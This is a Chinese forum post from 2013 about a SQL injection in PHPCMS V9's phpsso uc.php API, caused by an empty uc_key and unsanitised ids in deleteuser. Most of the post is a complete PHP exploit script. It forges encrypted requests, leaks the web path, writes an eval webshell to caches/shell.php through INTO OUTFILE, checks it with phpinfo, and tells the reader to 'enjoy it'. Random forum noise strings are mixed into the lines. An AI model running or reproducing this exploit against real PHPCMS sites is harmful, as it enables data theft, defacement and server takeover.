找回密码
 立即注册
查看: 2667|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
4 D7 S0 m8 t( A+ p, A) G4 Q/ N' @$ l5 v
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 U8 S8 [4 ^7 e" F
! @8 \/ s- W# x# g漏洞分析:
$ K0 n3 ]/ ]( N1.未启用ucenter服务的情况下uc_key为空
) ]! X* n1 O- ~% N2 W* h! I: n! R, Adefine('UC_KEY', pc_base::load_config('system', 'uc_key'));0 B% ]' c& s5 c3 K1 U
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
+ h" G0 @2 c+ b9 n7 u3 ^4 k    public function deleteuser($get,$post) {
: }% O% Y9 x* I& `/ Z( Y# H. e5 [        pc_base::load_app_func('global', 'admin');) e3 a9 v* y9 K$ ?
        pc_base::load_app_class('messagequeue', 'admin' , 0);+ J  I: Y, C( P2 W* Y% s
        $ids = new_stripslashes($get['ids']);* q" m- I7 F  Z& j- m; @
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( ?3 k8 u7 ~: S% _SQL语句为
6 V1 @% ]- }% ?& x4 j3 e: K, e  M% MSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)! u' ]$ k. h9 i# p, @+ F( o1 T

3 P" `2 l+ |8 X; R, q% m利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell# s7 }( p7 h' O( z$ o
<?php5 k% D  Y& C, C1 y  N/ e2 ^
print_r('7 k( P( i5 p3 J, R9 u
---------------------------------------------------------------------------
, w- V. k5 `1 L  v1 iPHPcms (v9 or Old Version) uc api sql injection 0day, V6 P7 ^6 E, L! c# w* `. x9 u
by rayh4c#80sec.com+ t% d! R1 t! L& ?) t$ n* r
---------------------------------------------------------------------------, g' T& ?# Q; w8 @6 l
');
/ R# h9 K) j5 S+ G# i, @6 u* h# f
! O" v- _/ H" t' J6 vif ($argc<3) {# f: A5 k0 g) |% r2 u6 S: w7 x, B
    print_r('
$ U) }& _3 F) N9 H- @/ w1 s0 J8 c---------------------------------------------------------------------------5 p3 A1 C1 j( h9 x9 i4 D4 e
Usage: php '.$argv[0].' host path OPTIONS
3 N1 y4 q; @3 L" p. C1 L1 z: Rhost:      target server (ip/hostname)9 [* ?! z4 I+ ^* B
path:      path to phpcms
& ^1 ~7 j0 k( qOptions:
: z! M- T! [5 \ -p[port]:    specify a port other than 80
3 i8 _2 m& B! w8 O: ~$ ` -P[ip:port]: specify a proxy
  S0 r" ]0 i2 r1 w) j" z7 s8 EExample:
' s8 p2 G- @, j4 ]) K2 m) Bphp '.$argv[0].' localhost /2 G9 O9 b  L8 a) X# J
php '.$argv[0].' localhost /phpcms/ -p810 r$ O5 }. v" l
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
+ N0 p2 A7 }, t- J/ {; Q+ F---------------------------------------------------------------------------. t3 H, A* u% x1 a
');
1 i1 u5 |5 Z9 e8 J0 \# m    die;
) Z$ C, ]/ Z. H6 E) o% @/ ?; q, t) e}3 d- v7 V; P* I! i) O7 w2 Z3 A

9 s( Q' v1 J1 p% O) K$ b, Gerror_reporting(7);
! v- p0 P% K( e! z" vini_set("max_execution_time",0);6 |2 w2 @. Q4 z; _! Y' [$ X
ini_set("default_socket_timeout",5);( K0 j  D  A9 @& y; M
4 b: o& x' [" ^  E2 r) z
function quick_dump($string). [* _2 f- e4 s& c
{
. E3 t9 E  t/ V' ^5 T- G  $result='';$exa='';$cont=0;
% _8 V7 |6 \5 j: H  for ($i=0; $i<=strlen($string)-1; $i++)
' z- U6 s+ s9 C. ?; j0 s' w  {
+ a2 ~# X2 ^, M5 \7 d) Z2 e   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))( K* |& o% q) s
   {$result.="  .";}' D, D7 g( W, R5 A! i* U0 G
   else8 i# ?) }. b% V. R' ~  n, W  t
   {$result.="  ".$string[$i];}. k' {8 ]3 `6 R0 X! a: r6 K- _
   if (strlen(dechex(ord($string[$i])))==2)
" N' k" ?( V5 O) h/ ?   {$exa.=" ".dechex(ord($string[$i]));}# P2 }! ?& [& k  z! v1 I
   else0 h$ d, u$ j- f# [) w6 F! u( U
   {$exa.=" 0".dechex(ord($string[$i]));}
1 N7 a2 l3 Y9 b" D3 w) ^5 y   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}0 }; V$ Y; I/ G% Y4 ?7 J
  }
' k( {! \( n% C5 ~3 r return $exa."\r\n".$result;
6 y+ ^+ }: w: Q2 J8 t8 j: j}( T2 ]- o& ~* \- c& m% I# t: w! u& A
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
% \! n: h* p. E8 J' y7 i6 i, i4 K' J0 Q( A8 x4 N# {' S; P4 t
function send($packet)
+ b! a# v, z/ B7 I! q{
/ `6 ^3 y2 u/ Y$ j; A! @0 O: r  global $proxy, $host, $port, $html, $proxy_regex;7 a- U1 r0 I: ^* Z
  if ($proxy=='') {, {( Q/ r' O8 F& J- v" |; n
    $ock=fsockopen(gethostbyname($host),$port);6 J1 i$ g7 B5 Q3 [. h/ w5 j, ~. T
    if (!$ock) {8 H+ U" y! f1 F- r
      echo 'No response from '.$host.':'.$port; die;
' H/ @: w* P. H8 U8 S    }
( f( s+ d8 Y8 W+ ~' ?  }: f6 p  C) a6 u* P0 }$ e
  else {
# G5 g1 n! ~! f9 m        $c = preg_match($proxy_regex,$proxy);7 l7 O8 ]. I6 K5 i8 i3 v2 O% R
    if (!$c) {( t8 I: L* }- B5 `  @% m  ]# m: J
      echo 'Not a valid proxy...';die;% p. R: v( G, e7 D* @6 }4 ?
    }
) M, y/ n% W* _; A    $parts=explode(':',$proxy);7 C& b* f% c0 o* H$ h) o" _8 W
    $parts[1]=(int)$parts[1];8 W; v# }/ }( S, X+ K
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
& Q0 ^, N0 t" K1 P8 F    $ock=fsockopen($parts[0],$parts[1]);
/ m1 k& N! u, B# o0 g% p    if (!$ock) {/ ~' a( _4 q% F/ t% u
      echo 'No response from proxy...';die;9 j- U" t8 F, d" ^8 Y  h
        }
4 [' q9 G- I7 D, L0 H  }
7 _. O: |' \6 t# x9 M" A! q" s  fputs($ock,$packet);# }7 }  n, W/ u! j- W
  if ($proxy=='') {0 k1 B; o* Y( |% ~7 m# Y
    $html='';# R# E- a$ S) `& q( P2 @
    while (!feof($ock)) {+ _+ T7 t& Y2 P1 V6 \) ?% a3 L$ g
      $html.=fgets($ock);
3 \# k$ o& z9 r8 L2 X, ]0 K: ~) f) n- ?+ x    }
+ P# |. B+ J6 C  }
* w4 v; ~1 P. y, {6 P: ~  else {4 |& E- F- m. X
    $html='';
7 n  Q! {/ I( b    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {% o/ S0 P- e. @
      $html.=fread($ock,1);
- o; P4 v' O2 K- `# ]: H    }/ u7 ?* y, ]2 K
  }0 s4 e1 r6 c% E+ @  f/ Y
  fclose($ock);, p1 r/ i( y/ @
}% ^7 G* X( @; s9 }4 z" `; w9 \

7 u% I/ o4 {, r2 N& n$host=$argv[1];
2 ~! m6 a) q8 h- i$path=$argv[2];# E* ~8 h  b7 a/ @- \# G
$port=80;
3 |  c5 n/ ?: Q0 S$proxy="";% c  Y2 t0 X" @- p6 g& p  ?5 P1 [, U
for ($i=3; $i<$argc; $i++){
, v, }! k( H( A; R( \! C$temp=$argv[$i][0].$argv[$i][1];
6 P/ E8 r" q1 S: ?: h) \; @if ($temp=="-p")' ^2 M4 L' j0 t- \; F8 F
{
7 R: d* M2 w* B  $port=(int)str_replace("-p","",$argv[$i]);$ Y! {" i' i. w% p8 b" V
}
3 l' }- ?' B+ {5 n% i& e3 pif ($temp=="-P")
- k% r7 q  M0 ?{
+ F; M! E" @  x4 P  $proxy=str_replace("-P","",$argv[$i]);9 J2 [0 t: ?" q8 p5 s5 @2 {- J* P
}1 B4 U3 u) `; F5 c- c$ s# v- m
}
$ M" b7 A# n3 n3 T; q0 d, b6 p1 d  K# @1 a" s& ~
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}* x. z! u) g" \# l% v6 J
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}" Z. z5 V; W( z9 C  G& z9 O
" Q' [: H2 U2 X9 q1 ]
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {# y  }0 N+ s8 m: x, o- X: B

4 `9 D9 K% p2 M8 h* f. g    $ckey_length = 4;! w1 l) \. Q6 l0 E! G

/ ]3 e8 r: F9 Q+ w! I    $key = md5($key ? $key : '');
, i' T, \, r& \2 V7 _  P) A+ l    $keya = md5(substr($key, 0, 16));
1 U! y0 J1 x8 }) W    $keyb = md5(substr($key, 16, 16));
9 I& }1 r7 M- W! l: N    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
4 [  ]6 p4 ~2 v
+ n1 {) R2 p3 R* O  y( w) C- `: ^    $cryptkey = $keya.md5($keya.$keyc);
% @3 S! W7 ^! n3 R9 Y, e    $key_length = strlen($cryptkey);5 w. R4 j5 g/ e- R

. \; q5 j9 c) y1 T    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;% I, R+ X8 {; a9 |2 R/ g8 t6 V
    $string_length = strlen($string);
( N, Q# l  V+ E9 i7 H5 c  P5 J# W. \2 w% p, [
    $result = '';
( s. ^) @$ C5 q: R, l# ~    $box = range(0, 255);. B; W, K& d# g
0 N7 d1 j1 X6 w0 b9 U
    $rndkey = array();  u7 F. W+ S$ `6 D# @
    for($i = 0; $i <= 255; $i++) {
* L% c" g6 e6 l! c9 C        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
' O% a9 f7 B& h( t* K1 Y9 v. n    }1 v. b7 O* {+ `* H" u1 e
+ ~# H. D, D+ w. ]; q6 R. m
    for($j = $i = 0; $i < 256; $i++) {
) @0 c9 N3 o3 N, T/ k        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, J9 x# V3 }/ R+ @9 q! d        $tmp = $box[$i];
' \4 O, ~3 v1 t6 Q& q        $box[$i] = $box[$j];
0 i" F( R! k) W+ f; L/ A        $box[$j] = $tmp;' \1 j4 M$ v- p, R$ v! {
    }* c8 A" ?7 \5 \9 {5 s  I0 C: q

5 F' t* }2 s8 t, X. p  M; T0 C    for($a = $j = $i = 0; $i < $string_length; $i++) {$ {2 |0 I, ^$ q# V
        $a = ($a + 1) % 256;
, s0 L2 ~5 W2 E0 Q* z& N% Q        $j = ($j + $box[$a]) % 256;
2 V# t% u9 S$ K( `7 x        $tmp = $box[$a];
9 u# X, e3 T' P. f, h0 e        $box[$a] = $box[$j];7 F* X& L5 {) v, h9 z: i6 O$ C
        $box[$j] = $tmp;1 K* x- i' H* V% Z2 v, J
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));# ?) C& y) k: }% J  X0 ?& S" y
    }
+ ^3 |% b# f( h' v9 M/ ]- z1 @7 V* {% q3 w/ K9 M1 A
    if($operation == 'DECODE') {
9 W( u+ w' a8 A        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
9 ~0 N/ q% s; c$ C            return substr($result, 26);
4 p6 U7 c6 [$ f! {$ S0 q3 l        } else {1 h  q/ O5 b# i' M" w- V% j. F  n
            return '';- U7 P6 V, U; [8 z# j
        }
4 g# ~4 I7 B" s& e2 T    } else {
* T$ z- m8 D: ?) j        return $keyc.str_replace('=', '', base64_encode($result));
8 ^  O! G) a" \+ x7 s/ E    }
( T( p# A- x" a! Q6 }- e5 r% j: t# u  F  E8 u& c
}
- n5 \$ }1 l5 ?- n! R( c+ _9 x
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";5 U: A; Q' r7 _* E
$SQL = urlencode(authcode($SQL, "ENCODE", ""));2 J; W  [3 b* K, U1 W
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
4 [' s3 t0 I, I$ W5 Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
4 j+ u' z- T+ M5 ~# v; i& p$packet.="User-Agent: Mozilla/5.0\r\n";" c0 C" _2 h& L; j
$packet.="Host: ".$host."\r\n";# I2 r: ]  {7 \" h& p
$packet.="Connection: Close\r\n\r\n";3 u1 Y8 G: m/ [) _' F
send($packet);0 p) Y) v6 M! [$ ~  F4 x6 r7 Q! w
if(strpos($html,"MySQL Errno") > 0){/ F2 T1 g3 l/ F- h( x2 H* U( H4 \
echo "[2] 发现存在SQL注入漏洞"."\n";% c7 M$ o5 |  f) @4 d9 m" {4 K4 V
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
, F1 n5 z! k3 c$ X5 H/ Q& S$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";; P. R  v( g$ {3 S0 j/ x: W$ {
$packet.="User-Agent: Mozilla/5.0\r\n";
  D% C/ W; K: s9 d8 X3 E$packet.="Host: ".$host."\r\n";. U9 ], @9 Q* Z5 P" _  D9 ?; G
$packet.="Connection: Close\r\n\r\n";* @5 x8 K* L7 B" Q1 T
send($packet);3 X+ T: w6 ]$ I  l% b5 r: r) n. v% `! j
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);5 B- B8 S. Z7 H! P5 W$ C
//print_r($matches);. H( x0 [, e% \; P- e
if(!empty($matches)){
7 |( |  w* q8 S/ h& A" Z% wecho "[4] 得到web路径 " . $matches[0]."\n";/ U( b! w: m' O8 D7 Y  v4 i( ], \
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
: `% x4 J  U+ S$SQL = "time=999999999999999999999999&ids=1)";* G/ Z5 }& x  ~" c
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";1 \+ C5 M$ X* f6 o) ]( k
$SQL.="&action=deleteuser";
. r. {' Q7 j! y8 K' O$SQL = urlencode(authcode($SQL, "ENCODE", ""));. j6 A5 h/ I/ ]. d% z" F
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";/ P2 j( p3 @: O* p9 r9 I: P
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 T. c5 G8 A9 J- s
$packet.="User-Agent: Mozilla/5.0\r\n";3 a; K- ]4 y* d( I2 L& v; Q
$packet.="Host: ".$host."\r\n";
4 K' \% W! U( ?" _" ]- K" M! z0 k$packet.="Connection: Close\r\n\r\n";( G  W  i/ Q8 r' G' y2 q8 \: X
send($packet);
, z6 H+ Q; k  e8 R1 Zif(strpos($html,"Access denied") > 0){: w1 r9 N# l2 g4 a
echo "[-] MYSQL权限过低 禁止写入文件 ";0 D2 U6 m4 |4 C' F9 Z' T/ ^
die;
" P+ Z5 y3 S3 A! N  v8 k}* F5 M& r; L! F3 v: L
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";& U: B# S9 t9 i' i, s: _
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";" C2 u! W! t/ x5 R- j
$packet.="User-Agent: Mozilla/5.0\r\n";1 ^' W0 K9 l) w( U- Z: Q
$packet.="Host: ".$host."\r\n";* k: f0 M. t+ `. T' \: L
$packet.="Connection: Close\r\n\r\n";' ?( |4 \  k, q- [
send($packet);& T0 ~5 n$ Q, o: A. v, k3 R! e
if(strpos($html,"<title>phpinfo()</title>") > 0){# s$ D" E( y6 }/ I9 D0 F+ N
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";6 n: `2 c5 K/ q, L
}# ~7 v) D6 _( E3 |
}else{: p2 u$ {9 e* q3 ]! l6 U5 {8 z
echo "[-]未取到web路径 ";
- o- y# Q( o# j( v( n. d}3 C4 K% v# i8 ?$ B
}else{# y9 m  p0 \6 t7 x
echo "[*]不存在SQL注入漏洞"."\n";
0 Z) Y4 U9 P& B- M8 j; z$ J}
' W6 `$ s5 A0 g: X; q" }
0 U! Z% g% B0 N! Z3 e; n2 r?>
1 u0 M; U0 g% \: L' |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表